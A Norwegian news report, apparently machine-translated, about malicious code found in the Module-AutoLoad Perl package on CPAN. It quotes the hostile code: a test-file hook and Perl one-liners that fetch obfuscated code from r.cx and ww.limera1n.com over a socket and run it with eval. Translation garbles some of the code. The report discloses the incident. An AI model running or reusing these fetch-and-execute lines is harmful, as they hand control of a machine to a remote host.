Skadelig kode oppdaget i Module-AutoLoad Perl-pakken

I en Perl-pakke distribuert gjennom CPAN-katalogen Modul-AutoLoad, designet for å automatisk laste CPAN-moduler på farten, identifisert ondsinnet kode. Det ondsinnede innlegget var funnet i testkoden 05_rcx.t, som har blitt sendt siden 2011.
Det er bemerkelsesverdig at spørsmål om lasting av tvilsom kode dukket opp på Stackoverflow tilbake i 2016.

Ondsinnet aktivitet koker ned til et forsøk på å laste ned og kjøre kode fra en tredjepartsserver (http://r.cx:1/) under kjøringen av en testpakke som ble lansert ved installasjon av modulen. Det antas at koden som opprinnelig ble lastet ned fra den eksterne serveren ikke var skadelig, men nå blir forespørselen omdirigert til ww.limera1n.com-domenet, som gir sin del av koden for kjøring.

For å organisere nedlastingen i en fil 05_rcx.t Følgende kode brukes:

min $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
min $try = `$^X $prog`;

Den angitte koden fører til at skriptet kjøres ../contrib/RCX.pl, hvis innhold er redusert til linjen:

bruk lib do{eval<$b>&&botstrap("RCX")if$b=new IO::Socket::INET 82.46.99.88.":1″};

Dette skriptet lastes inn forvirret bruke tjenesten perlobfuscator.com kode fra den eksterne verten r.cx (tegnkoder 82.46.99.88 tilsvarer teksten "R.cX") og utfører den i evalblokken.

$ perl -MIO::Socket -e'$b=ny IO::Socket::INET 82.46.99.88.":1″; skriv ut <$b>;'
eval pack u=>q{_<')I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}

Etter utpakking utføres til slutt følgende: kode:

print{$b=new IO::Socket::INET"ww.limera1n.com:80″}"GET /iJailBreak
";evalor return warn$@while$b;1

Den problematiske pakken er nå fjernet fra depotet. PAUSE (Perl Authors Upload Server), og modulforfatterens konto er blokkert. I dette tilfellet forblir modulen fortsatt tilgjengelig i MetaCPAN-arkivet og kan installeres direkte fra MetaCPAN ved hjelp av noen verktøy som cpanminus. Det er notertat pakken ikke ble bredt distribuert.

Interessant å diskutere tilkoblet og forfatteren av modulen, som benektet informasjonen om at ondsinnet kode ble satt inn etter at nettstedet hans "r.cx" ble hacket og forklarte at han bare hadde det gøy, og brukte perlobfuscator.com for ikke å skjule noe, men for å redusere størrelsen av koden og forenkle kopieringen av den via utklippstavlen. Valget av funksjonsnavnet "botstrap" er forklart av det faktum at dette ordet "høres ut som bot og er kortere enn bootstrap." Forfatteren av modulen forsikret også at de identifiserte manipulasjonene ikke utfører ondsinnede handlinger, men bare demonstrerer lasting og utførelse av kode via TCP.

Kilde: opennet.ru

Legg til en kommentar